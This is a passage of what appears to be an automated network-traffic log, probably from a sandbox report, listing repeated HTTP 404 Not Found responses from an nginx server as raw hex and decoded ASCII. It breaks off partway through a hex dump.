Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 